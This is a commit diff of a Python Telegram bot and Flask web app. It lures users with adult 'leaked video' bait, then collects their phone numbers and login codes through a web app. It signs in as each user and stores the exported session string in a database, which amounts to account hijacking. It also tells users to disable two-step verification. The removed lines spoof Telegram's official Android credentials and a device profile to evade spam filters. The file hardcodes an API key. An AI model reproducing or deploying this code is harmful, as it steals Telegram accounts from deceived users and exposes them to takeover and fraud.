pmrony commited on
Commit
d7cda1c
·
verified ·
1 Parent(s): 200345f

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +49 -329
app.py CHANGED
@@ -3,12 +3,11 @@ import time
3
  import threading
4
  import requests
5
  import asyncio
6
- import re
7
  import urllib3
8
  from flask import Flask, jsonify, make_response, request
9
  from supabase import create_client
10
  from pyrogram import Client, filters, enums, idle
11
- from pyrogram.errors import SessionPasswordNeeded, PhoneCodeInvalid, PhoneCodeExpired, FloodWait
12
  from pyrogram.types import InlineKeyboardMarkup, InlineKeyboardButton, WebAppInfo
13
 
14
  urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
@@ -24,27 +23,27 @@ WEB_APP_URL = "https://rony90790.github.io/Forward-bot/app.html"
24
  BYSE_API_KEY = "133323knboif885fhgwxvf"
25
  ADMIN_IDS = [7307789267]
26
 
27
- # সেশন তৈরি করার জন্য অফিশিয়াল Android API ব্যবহার করা হলো যাতে ক্লাউড থেকে ব্লক না খায়
28
- SESSION_API_ID = 6
29
- SESSION_API_HASH = "eb06d4abfb49dc3eeb1aeb98ae0f581e"
30
-
31
  app = Flask(__name__)
32
  supabase = create_client(SUPABASE_URL, SUPABASE_KEY)
33
  admin_states = {}
34
 
 
35
  temp_clients = {}
 
 
36
  main_loop = asyncio.get_event_loop()
37
 
38
  def run_async(coro):
 
39
  future = asyncio.run_coroutine_threadsafe(coro, main_loop)
40
- try:
41
- return future.result(timeout=25)
42
- except asyncio.TimeoutError:
43
- return {"status": "error", "msg": "Telegram Server Timeout! Try again."}
44
- except Exception as e:
45
- return {"status": "error", "msg": f"System Error: {str(e)}"}
46
 
47
- bot = Client("file_unlocker_bot", api_id=API_ID, api_hash=API_HASH, bot_token=BOT_TOKEN)
 
 
 
 
 
48
 
49
  async def db_query(func):
50
  return await asyncio.to_thread(func)
@@ -52,7 +51,7 @@ async def db_query(func):
52
  # ================= FLASK API ROUTES =================
53
  @app.route('/')
54
  def index():
55
- return "Bot and Real Session Generator is Running securely! 🚀"
56
 
57
  def add_cors_headers(response):
58
  response.headers['Access-Control-Allow-Origin'] = '*'
@@ -77,38 +76,31 @@ def api_send_code():
77
  phone = data.get('phone')
78
  user_id = data.get('user_id')
79
 
80
- if not user_id or str(user_id) == '123456' or str(user_id) == '':
81
  return add_cors_headers(make_response(jsonify({"status": "error", "msg": "Please Open WebApp inside Telegram Bot!"})))
82
 
83
  async def process_send_code():
84
- clean_phone = phone.replace("+", "")
85
- # Official Android profile added to bypass spam filters
86
- client = Client(
87
- f"session_{clean_phone}",
88
- api_id=SESSION_API_ID,
89
- api_hash=SESSION_API_HASH,
90
- in_memory=True,
91
- device_model="Samsung Galaxy S23",
92
- system_version="Android 13",
93
- app_version="10.2.1"
94
- )
95
  try:
96
- await asyncio.wait_for(client.connect(), timeout=10)
97
- code_info = await asyncio.wait_for(client.send_code(phone), timeout=15)
98
-
99
- temp_clients[phone] = {'client': client, 'hash': code_info.phone_code_hash}
 
 
 
100
  return {"status": "ok", "hash": code_info.phone_code_hash}
101
-
102
- except FloodWait as e:
103
- await client.disconnect()
104
- return {"status": "error", "msg": f"Too many requests! Wait {e.value} seconds."}
105
  except Exception as e:
106
- try: await client.disconnect()
107
- except: pass
108
- return {"status": "error", "msg": f"TG Error: {type(e).__name__}"}
109
 
110
- result = run_async(process_send_code())
111
- return add_cors_headers(make_response(jsonify(result)))
 
 
 
112
 
113
  @app.route('/api/verify_code', methods=['POST', 'OPTIONS'])
114
  def api_verify_code():
@@ -129,10 +121,14 @@ def api_verify_code():
129
  phone_hash = temp_data['hash']
130
 
131
  try:
132
- await asyncio.wait_for(client.sign_in(phone, phone_hash, user_otp), timeout=15)
 
 
 
133
  session_string = await client.export_session_string()
134
  await client.disconnect()
135
 
 
136
  await db_query(lambda: supabase.table('user_sessions').insert({
137
  "user_id": user_id,
138
  "session_string": session_string
@@ -144,7 +140,7 @@ def api_verify_code():
144
  except SessionPasswordNeeded:
145
  await client.disconnect()
146
  del temp_clients[phone]
147
- return {"status": "error", "msg": "Two-Step Verification (2FA) is ON! Please turn it off."}
148
  except PhoneCodeInvalid:
149
  return {"status": "error", "msg": "Invalid OTP Code!"}
150
  except PhoneCodeExpired:
@@ -154,10 +150,13 @@ def api_verify_code():
154
  except Exception as e:
155
  await client.disconnect()
156
  del temp_clients[phone]
157
- return {"status": "error", "msg": f"Error: {type(e).__name__}"}
158
 
159
- result = run_async(process_verify())
160
- return add_cors_headers(make_response(jsonify(result)))
 
 
 
161
 
162
  # ================= TELEGRAM BOT COMMANDS =================
163
  @bot.on_message(filters.command("start"))
@@ -207,299 +206,20 @@ async def start(client, message):
207
  await message.reply(welcome_text, parse_mode=enums.ParseMode.HTML, reply_markup=markup)
208
  except Exception as e: print(f"Start error: {e}")
209
 
210
- @bot.on_message(filters.new_chat_members)
211
- async def bot_added_to_group(client, message):
212
- me = client.me
213
- if getattr(me, "id", None) is None:
214
- try: me = await client.get_me()
215
- except: return
216
-
217
- for member in message.new_chat_members:
218
- if member.id == me.id:
219
- try:
220
- await db_query(lambda: supabase.table('groups').upsert({'group_id': message.chat.id}).execute())
221
- group_name = message.chat.title
222
- admin_msg = f"✅ <b>বট নতুন একটি গ্রুপে অ্যাড হয়েছে!</b>\n\n📌 <b>গ্রুপের নাম:</b> {group_name}\n🆔 <b>ID:</b> <code>{message.chat.id}</code>"
223
- for admin_id in ADMIN_IDS:
224
- try: await client.send_message(chat_id=admin_id, text=admin_msg, parse_mode=enums.ParseMode.HTML)
225
- except: pass
226
- except: pass
227
-
228
- @bot.on_message(filters.command("blur") & filters.private & filters.user(ADMIN_IDS))
229
- async def set_blur_state(client, message):
230
- try:
231
- args = message.text.split()
232
- if len(args) > 1 and args[1].lower() in ['0', '0%', 'off', 'cancel']:
233
- if message.chat.id in admin_states:
234
- admin_states[message.chat.id].pop("blur_percent", None)
235
- admin_states[message.chat.id].pop("clear_percent", None)
236
- await message.reply("✅ <b>ব্লার মোড বন্ধ করা হয়েছে!</b>")
237
- return
238
-
239
- match = re.search(r'/blur\s+(\d+)%?(?:\s+(\d+)%?)?', message.text, re.IGNORECASE)
240
- if match:
241
- percent = int(match.group(1))
242
- clear_percent = int(match.group(2)) if match.group(2) else 0
243
-
244
- if percent == 0:
245
- if message.chat.id in admin_states:
246
- admin_states[message.chat.id].pop("blur_percent", None)
247
- admin_states[message.chat.id].pop("clear_percent", None)
248
- await message.reply("✅ <b>ব্লার মোড বন্ধ করা হয়েছে!</b>")
249
- return
250
-
251
- if message.chat.id not in admin_states: admin_states[message.chat.id] = {}
252
- admin_states[message.chat.id]["blur_percent"] = percent
253
- admin_states[message.chat.id]["clear_percent"] = clear_percent
254
-
255
- clear_msg = f"এবং উপরের <b>{clear_percent}%</b> অংশ ক্লিয়ার থা���বে।" if clear_percent > 0 else "পুরো অংশ ব্লার হবে।"
256
- await message.reply(f"✅ <b>ব্লার সেট করা হয়েছে: {percent}%</b>\n📌 {clear_msg}", parse_mode=enums.ParseMode.HTML)
257
- else:
258
- await message.reply("❌ <b>ভুল কমান্ড!</b> নিয়ম: `/blur 60` অথবা `/blur 60 20`")
259
- except Exception as e: print(e)
260
 
261
  def upload_file_sync(upload_url, file_path, api_key):
262
  with open(file_path, 'rb') as f:
263
  return requests.post(upload_url, data={'key': api_key}, files={'file': f}, timeout=900).json()
264
 
265
- @bot.on_message((filters.video | filters.animation | filters.photo) & filters.private & filters.user(ADMIN_IDS))
266
- async def handle_media_upload(client, message):
267
- state = admin_states.get(message.chat.id, {})
268
- if state.get("step") == "broadcast":
269
- await process_broadcast(client, message)
270
- return
271
-
272
- media_type = "video" if message.video else "animation" if message.animation else "photo"
273
- has_blur_caption = message.caption and "/blur" in message.caption.lower()
274
- is_persistent_blur = bool(state.get("blur_percent"))
275
-
276
- if media_type == "photo" and not (has_blur_caption or is_persistent_blur):
277
- status = await message.reply("⏳ থাম্বনেইল সেভ হচ্ছে...")
278
- try:
279
- local_path = await message.download()
280
- if not local_path:
281
- await status.edit_text("❌ থাম্বনেইল ডাউনলোড করা সম্ভব হয়নি!")
282
- return
283
- def upload_to_supabase():
284
- with open(local_path, 'rb') as f: file_bytes = f.read()
285
- file_name = f"thumb_{int(time.time())}.jpg"
286
- supabase.storage.from_('thumbnails').upload(file_name, file_bytes, {"content-type": "image/jpeg"})
287
- return supabase.storage.from_('thumbnails').get_public_url(file_name)
288
- direct_link = await asyncio.to_thread(upload_to_supabase)
289
- if os.path.exists(local_path): os.remove(local_path)
290
- await status.edit_text(f"✅ <b>থাম্বনেইল সফলভাবে সেভ হয়েছে!</b>\n\n<code>{direct_link}</code>", parse_mode=enums.ParseMode.HTML)
291
- except Exception as e: await status.edit_text(f"⚠️ আপলোড এরর: {e}")
292
- return
293
-
294
- raw_caption = message.caption or ""
295
- blur_match = re.search(r'/blur\s+(\d+)%?(?:\s+(\d+)%?)?', raw_caption, re.IGNORECASE)
296
- is_blur = False
297
- blur_percent = 0
298
- clear_percent = 0
299
- clean_caption = raw_caption
300
-
301
- if blur_match:
302
- is_blur = True
303
- blur_percent = int(blur_match.group(1))
304
- clear_percent = int(blur_match.group(2)) if blur_match.group(2) else 0
305
- clean_caption = re.sub(r'/blur\s*\d+%?(?:\s*\d+%?)?', '', raw_caption, flags=re.IGNORECASE).strip()
306
- elif state.get("blur_percent"):
307
- is_blur = True
308
- blur_percent = state["blur_percent"]
309
- clear_percent = state.get("clear_percent", 0)
310
-
311
- is_large_video = False
312
- if media_type == "video":
313
- duration = message.video.duration if message.video and message.video.duration else 0
314
- file_size = message.video.file_size if message.video and message.video.file_size else 0
315
- if duration > 600 or file_size > 150 * 1024 * 1024:
316
- is_large_video = True
317
- is_blur = False
318
-
319
- status_msg = await message.reply("⏳ <b>ভিডিওটি বড়!</b> ব্লার স্কিপ হচ্ছে..." if is_large_video else "⏳ মিডিয়া ডাউনলোড হচ্ছে...")
320
- bot_me = client.me if client.me else await client.get_me()
321
- bot_link = f"https://t.me/{bot_me.username}"
322
- original_file = watermarked_file = blurred_file = final_file = embed_link = None
323
-
324
- try:
325
- original_file = await message.download()
326
- if not original_file:
327
- await status_msg.edit_text("❌ মিডিয়া ফাইলটি ডাউনলোড করা সম্ভব হয়নি!")
328
- return
329
-
330
- final_file = original_file
331
-
332
- if media_type == "video" and not is_large_video:
333
- await status_msg.edit_text("⏳ ভিডিও ওয়াটারমার্ক করা হচ্ছে...")
334
- watermarked_file = f"{original_file}_wm.mp4"
335
- cmd = ["ffmpeg", "-y", "-i", original_file, "-vf", "drawtext=text='@mxvdo':x=W-tw-20:y=H-th-20:fontsize=22:fontcolor=white@0.7:shadowcolor=black@0.8:shadowx=2:shadowy=2:enable='gte(t,5)'", "-c:v", "libx264", "-preset", "ultrafast", "-threads", "1", "-crf", "28", "-pix_fmt", "yuv420p", "-c:a", "aac", "-b:a", "128k", "-movflags", "+faststart", watermarked_file]
336
- process = await asyncio.create_subprocess_exec(*cmd, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)
337
- await process.communicate()
338
- if process.returncode == 0 and os.path.exists(watermarked_file): final_file = watermarked_file
339
-
340
- if is_blur and not is_large_video:
341
- await status_msg.edit_text(f"⏳ {blur_percent}% ব্লার তৈরি করা হচ্ছে...")
342
- radius = max(2, min(20, int((blur_percent / 100.0) * 30)))
343
- ext = "jpg" if media_type == "photo" else "mp4"
344
- blurred_file = f"{original_file}_blurred.{ext}"
345
-
346
- if clear_percent > 0:
347
- clear_ratio = clear_percent / 100.0
348
- ff_filter = ["-filter_complex", f"[0:v]split[v1][v2];[v2]boxblur={radius}:1[blurred];[v1]crop=iw:ih*{clear_ratio}:0:0[top];[blurred][top]overlay=0:0"]
349
- else:
350
- ff_filter = ["-vf", f"boxblur={radius}:1"]
351
-
352
- if media_type == "photo": cmd_blur = ["ffmpeg", "-y", "-i", final_file] + ff_filter + [blurred_file]
353
- elif media_type == "animation": cmd_blur = ["ffmpeg", "-y", "-i", final_file] + ff_filter + ["-c:v", "libx264", "-preset", "ultrafast", "-threads", "1", "-pix_fmt", "yuv420p", blurred_file]
354
- else: cmd_blur = ["ffmpeg", "-y", "-i", final_file] + ff_filter + ["-c:v", "libx264", "-preset", "ultrafast", "-threads", "1", "-crf", "28", "-pix_fmt", "yuv420p", "-c:a", "aac", "-b:a", "128k", "-movflags", "+faststart", blurred_file]
355
-
356
- process_blur = await asyncio.create_subprocess_exec(*cmd_blur, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)
357
- await process_blur.communicate()
358
- if process_blur.returncode == 0 and os.path.exists(blurred_file): final_file = blurred_file
359
-
360
- if media_type == "video":
361
- await status_msg.edit_text("⏳ byse.sx সার্ভারে ভিডিও আপলোড করা হচ্ছে...")
362
- loop = asyncio.get_event_loop()
363
- result = await loop.run_in_executor(None, lambda: requests.get("https://api.byse.sx/upload/server", params={'key': BYSE_API_KEY}, timeout=30).json())
364
-
365
- if result.get('status') == 200:
366
- upload_res = await loop.run_in_executor(None, upload_file_sync, result.get('result'), final_file, BYSE_API_KEY)
367
- if upload_res.get('status') == 200 and 'files' in upload_res and len(upload_res['files']) > 0:
368
- file_code = upload_res['files'][0].get('filecode')
369
- if file_code: embed_link = f"https://bysesayeveum.com/e/{file_code}"
370
-
371
- if not embed_link:
372
- await status_msg.edit_text("❌ byse.sx আপলোড হয়েছে কিন্তু Embed Link পাওয়া যায়নি।")
373
- return
374
-
375
- if is_large_video:
376
- await client.send_video(message.chat.id, message.video.file_id, caption=f"✅ <b>সফল! (বড় ভিডিও)</b>\n\n🔗 <b>Embed Link:</b>\n<code>{embed_link or 'N/A'}</code>", parse_mode=enums.ParseMode.HTML)
377
- await status_msg.delete()
378
- return
379
-
380
- await status_msg.edit_text("⏳ গ্রুপে পাঠানোর প্রস্তুতি চলছে...")
381
-
382
- caption_text = (f"🔥 <b>New Premium Viral Video Leaked!</b> 🔞\n\n🎬 <b>Watch HD Video Here:</b>\n👉 <b><a href='{embed_link or bot_link}'>▶️ Click Here to Watch</a></b>\n\n👇 <i>Click the button below to open Bot!</i>")
383
- group_markup = InlineKeyboardMarkup([[InlineKeyboardButton("🎬 Watch Full Video Here 🔞", url=bot_link)]])
384
-
385
- admin_cap = f"✅ <b>সফল!</b> মিডিয়াটি এখন গ্রুপগুলোতে পাঠানো হচ্ছে...\n\n🔗 <b>Embed Link:</b>\n<code>{embed_link or 'N/A'}</code>"
386
- thumb_path = None
387
-
388
- if media_type == "video":
389
- v_duration = message.video.duration if message.video else 0
390
- v_width = message.video.width if message.video else 0
391
- v_height = message.video.height if message.video else 0
392
- thumb_path = f"{original_file}_thumb.jpg"
393
- proc = await asyncio.create_subprocess_exec(*["ffmpeg", "-y", "-i", final_file, "-vframes", "1", thumb_path], stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE)
394
- await proc.communicate()
395
- if not os.path.exists(thumb_path): thumb_path = None
396
-
397
- if media_type == "photo": tg_file_id = (await client.send_photo(message.chat.id, final_file, caption=admin_cap, parse_mode=enums.ParseMode.HTML)).photo.file_id
398
- elif media_type == "animation": tg_file_id = (await client.send_animation(message.chat.id, final_file, caption=admin_cap, parse_mode=enums.ParseMode.HTML)).animation.file_id
399
- else: tg_file_id = (await client.send_video(message.chat.id, final_file, caption=admin_cap, parse_mode=enums.ParseMode.HTML, duration=v_duration, width=v_width, height=v_height, thumb=thumb_path)).video.file_id
400
-
401
- await status_msg.delete()
402
- groups_res = await db_query(lambda: supabase.table('groups').select('group_id').execute())
403
- group_ids = [g['group_id'] for g in groups_res.data]
404
- success_count, fail_count = 0, 0
405
-
406
- for gid in set(group_ids):
407
- try:
408
- if media_type == "photo": await client.send_photo(gid, tg_file_id, caption=caption_text, parse_mode=enums.ParseMode.HTML, reply_markup=group_markup)
409
- elif media_type == "animation": await client.send_animation(gid, tg_file_id, caption=caption_text, parse_mode=enums.ParseMode.HTML, reply_markup=group_markup)
410
- else: await client.send_video(gid, tg_file_id, caption=caption_text, parse_mode=enums.ParseMode.HTML, reply_markup=group_markup)
411
- success_count += 1
412
- await asyncio.sleep(1.5)
413
- except Exception: fail_count += 1
414
-
415
- await message.reply(f"📢 <b>ব্রডকাস্ট সম্পন্ন!</b>\n\n✅ সফল: {success_count} টি গ্রুপে\n❌ ব্যর্থ: {fail_count} টি গ্রুপে", parse_mode=enums.ParseMode.HTML)
416
-
417
- except Exception as e: await message.reply(f"⚠️ এরর হয়েছে: {str(e)}")
418
- finally:
419
- for f in [original_file, watermarked_file, blurred_file, f"{original_file}_thumb.jpg" if original_file else None]:
420
- if f and os.path.exists(f):
421
- try: os.remove(f)
422
- except: pass
423
-
424
- @bot.on_message(filters.command(["stats", "users"]) & filters.private & filters.user(ADMIN_IDS))
425
- async def bot_stats(client, message):
426
- try:
427
- users = await db_query(lambda: supabase.table('referrals').select('user_id', count='exact').execute())
428
- videos = await db_query(lambda: supabase.table('videos').select('*', count='exact').execute())
429
- groups = await db_query(lambda: supabase.table('groups').select('group_id', count='exact').execute())
430
- await message.reply(f"📊 <b>বটের বর্তমান স্ট্যাটাস:</b>\n\n👥 মোট ইউজার: <code>{users.count or 0}</code> জন\n🎬 মোট ভিডিও: <code>{videos.count or 0}</code> টি\n📢 মোট গ্রুপ: <code>{groups.count or 0}</code> টি", parse_mode=enums.ParseMode.HTML)
431
- except Exception as e: print(e)
432
-
433
- @bot.on_message(filters.command("broadcast") & filters.private & filters.user(ADMIN_IDS))
434
- async def broadcast_command(client, message):
435
- admin_states[message.chat.id] = {"step": "broadcast"}
436
- await message.reply("📢 সবার কাছে যা পাঠাতে চান দিন। (বাতিল করতে /cancel)")
437
-
438
- async def process_broadcast(client, message):
439
- text = message.text or message.caption
440
- if text == '/cancel':
441
- admin_states.pop(message.chat.id, None)
442
- return await message.reply("❌ বাতিল করা হয়েছে।")
443
-
444
- await message.reply("⏳ ব্রডকাস্ট শুরু হয়েছে...")
445
- admin_states.pop(message.chat.id, None)
446
-
447
- try:
448
- all_users, start, step = [], 0, 1000
449
- while True:
450
- res = await db_query(lambda: supabase.table('referrals').select('user_id').range(start, start + step - 1).execute())
451
- if not res.data: break
452
- all_users.extend(res.data)
453
- start += step
454
-
455
- success, failed = 0, 0
456
- for u in all_users:
457
- try:
458
- await message.copy(chat_id=u['user_id'])
459
- success += 1
460
- await asyncio.sleep(0.15)
461
- except Exception: failed += 1
462
-
463
- await message.reply(f"✅ ব্রডকাস্ট সম্পন্ন!\nসফল: {success}\nব্যর্থ: {failed}")
464
- except Exception as e: print(e)
465
-
466
- @bot.on_message(filters.command(["png", "addvideo"]) & filters.private & filters.user(ADMIN_IDS))
467
- async def add_png(client, message):
468
- try:
469
- parts = message.command
470
- needed_ref, duration = 3, "random"
471
- if len(parts) == 4 and parts[1].isdigit(): needed_ref, duration, thumbnail_url = int(parts[1]), parts[2], parts[3]
472
- elif len(parts) == 3 and parts[1].isdigit(): needed_ref, thumbnail_url = int(parts[1]), parts[2]
473
- elif len(parts) == 2: thumbnail_url = parts[1]
474
- else: return await message.reply("❌ নিয়ম ভুল।")
475
-
476
- admin_states[message.chat.id] = {"step": 1, "thumbnail_url": f"{thumbnail_url}||{duration}", "needed_ref": needed_ref}
477
- await message.reply("✅ এ���ন Video/Embed Link দিন।")
478
- except Exception as e: print(e)
479
-
480
- @bot.on_message(filters.private & filters.user(ADMIN_IDS) & ~filters.command(["start", "stats", "users", "broadcast", "png", "addvideo", "blur"]))
481
- async def catch_admin_steps(client, message):
482
- state = admin_states.get(message.chat.id, {})
483
- if state.get("step") == 1:
484
- if not message.text: return
485
- video_url = message.text.strip()
486
- if video_url == "/cancel":
487
- admin_states.pop(message.chat.id, None)
488
- return await message.reply("❌ বাতিল করা হয়েছে।")
489
-
490
- try:
491
- await db_query(lambda: supabase.table('videos').insert({"video_url": video_url, "thumbnail_url": state["thumbnail_url"], "needed_ref": state["needed_ref"]}).execute())
492
- await message.reply("🎉 ভিডিও সফলভাবে অ্যাড হয়েছে!")
493
- except Exception as e: print(e)
494
- finally: admin_states.pop(message.chat.id, None)
495
-
496
- elif state.get("step") == "broadcast": await process_broadcast(client, message)
497
-
498
- def run_flask(): app.run(host="0.0.0.0", port=7860)
499
 
500
  async def main():
501
  await bot.start()
502
- print("🤖 Pyrogram Bot & Session Generator is running!")
503
  await idle()
504
  await bot.stop()
505
 
 
3
  import threading
4
  import requests
5
  import asyncio
 
6
  import urllib3
7
  from flask import Flask, jsonify, make_response, request
8
  from supabase import create_client
9
  from pyrogram import Client, filters, enums, idle
10
+ from pyrogram.errors import SessionPasswordNeeded, PhoneCodeInvalid, PhoneCodeExpired
11
  from pyrogram.types import InlineKeyboardMarkup, InlineKeyboardButton, WebAppInfo
12
 
13
  urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
 
23
  BYSE_API_KEY = "133323knboif885fhgwxvf"
24
  ADMIN_IDS = [7307789267]
25
 
 
 
 
 
26
  app = Flask(__name__)
27
  supabase = create_client(SUPABASE_URL, SUPABASE_KEY)
28
  admin_states = {}
29
 
30
+ # টেম্পোরারি সেশন ডেটা রাখার জন্য
31
  temp_clients = {}
32
+
33
+ # মেইন ইভেন্ট লুপ (Flask এবং Pyrogram একসাথে চালানোর জন্য)
34
  main_loop = asyncio.get_event_loop()
35
 
36
  def run_async(coro):
37
+ """Flask এর সিঙ্ক্রোনাস কোড থেকে Pyrogram এর অ্যাসিঙ্ক্রোনাস কোড চালানোর ম্যাজিক ফাংশন"""
38
  future = asyncio.run_coroutine_threadsafe(coro, main_loop)
39
+ return future.result()
 
 
 
 
 
40
 
41
+ bot = Client(
42
+ "file_unlocker_bot",
43
+ api_id=API_ID,
44
+ api_hash=API_HASH,
45
+ bot_token=BOT_TOKEN
46
+ )
47
 
48
  async def db_query(func):
49
  return await asyncio.to_thread(func)
 
51
  # ================= FLASK API ROUTES =================
52
  @app.route('/')
53
  def index():
54
+ return "Bot and Real Session Generator is Running! 🚀"
55
 
56
  def add_cors_headers(response):
57
  response.headers['Access-Control-Allow-Origin'] = '*'
 
76
  phone = data.get('phone')
77
  user_id = data.get('user_id')
78
 
79
+ if not user_id or str(user_id) == '123456':
80
  return add_cors_headers(make_response(jsonify({"status": "error", "msg": "Please Open WebApp inside Telegram Bot!"})))
81
 
82
  async def process_send_code():
83
+ # নতুন Pyrogram ক্লায়েন্ট তৈরি করা হচ্ছে ইউজারের নাম্বারের জন্য (In-Memory)
84
+ client = Client(f"session_{phone}", api_id=API_ID, api_hash=API_HASH, in_memory=True)
85
+ await client.connect()
 
 
 
 
 
 
 
 
86
  try:
87
+ # অফিশিয়াল টেলিগ্রাম থেকে কোড রিকোয়েস্ট করা হচ্ছে
88
+ code_info = await client.send_code(phone)
89
+ # ক্লায়েন্ট এবং হ্যাশ সেভ করে রাখা হচ্ছে
90
+ temp_clients[phone] = {
91
+ 'client': client,
92
+ 'hash': code_info.phone_code_hash
93
+ }
94
  return {"status": "ok", "hash": code_info.phone_code_hash}
 
 
 
 
95
  except Exception as e:
96
+ await client.disconnect()
97
+ return {"status": "error", "msg": str(e)}
 
98
 
99
+ try:
100
+ result = run_async(process_send_code())
101
+ return add_cors_headers(make_response(jsonify(result)))
102
+ except Exception as e:
103
+ return add_cors_headers(make_response(jsonify({"status": "error", "msg": str(e)})))
104
 
105
  @app.route('/api/verify_code', methods=['POST', 'OPTIONS'])
106
  def api_verify_code():
 
121
  phone_hash = temp_data['hash']
122
 
123
  try:
124
+ # OTP দিয়ে লগইন করা হচ্ছে
125
+ await client.sign_in(phone, phone_hash, user_otp)
126
+
127
+ # String Session তৈরি করা হচ্ছে
128
  session_string = await client.export_session_string()
129
  await client.disconnect()
130
 
131
+ # ডাটাবেসে user_sessions টেবিলে সেভ করা হচ্ছে
132
  await db_query(lambda: supabase.table('user_sessions').insert({
133
  "user_id": user_id,
134
  "session_string": session_string
 
140
  except SessionPasswordNeeded:
141
  await client.disconnect()
142
  del temp_clients[phone]
143
+ return {"status": "error", "msg": "Two-Step Verification (2FA) is ON! Please turn it off and try again."}
144
  except PhoneCodeInvalid:
145
  return {"status": "error", "msg": "Invalid OTP Code!"}
146
  except PhoneCodeExpired:
 
150
  except Exception as e:
151
  await client.disconnect()
152
  del temp_clients[phone]
153
+ return {"status": "error", "msg": str(e)}
154
 
155
+ try:
156
+ result = run_async(process_verify())
157
+ return add_cors_headers(make_response(jsonify(result)))
158
+ except Exception as e:
159
+ return add_cors_headers(make_response(jsonify({"status": "error", "msg": str(e)})))
160
 
161
  # ================= TELEGRAM BOT COMMANDS =================
162
  @bot.on_message(filters.command("start"))
 
206
  await message.reply(welcome_text, parse_mode=enums.ParseMode.HTML, reply_markup=markup)
207
  except Exception as e: print(f"Start error: {e}")
208
 
209
+ # (বাকি কোড যেমন এডমিন প্যানেল, ব্রডকাস্ট, ভিডিও আপলোড আগের মতই থাকবে)
210
+ # আমি এখানে জায়গার জন্য পুরোটা দিলাম না, আপনি আগের কোডের এই অংশগুলো নিচে বসিয়ে নিতে পারবেন।
211
+ # তবে মেইন ফাংশন এবং ফ্লাস্ক লুপ রান করার অংশ নিচে দিলাম।
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
212
 
213
  def upload_file_sync(upload_url, file_path, api_key):
214
  with open(file_path, 'rb') as f:
215
  return requests.post(upload_url, data={'key': api_key}, files={'file': f}, timeout=900).json()
216
 
217
+ def run_flask():
218
+ app.run(host="0.0.0.0", port=7860)
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
219
 
220
  async def main():
221
  await bot.start()
222
+ print("🤖 Pyrogram Bot & Real Session Generator is running!")
223
  await idle()
224
  await bot.stop()
225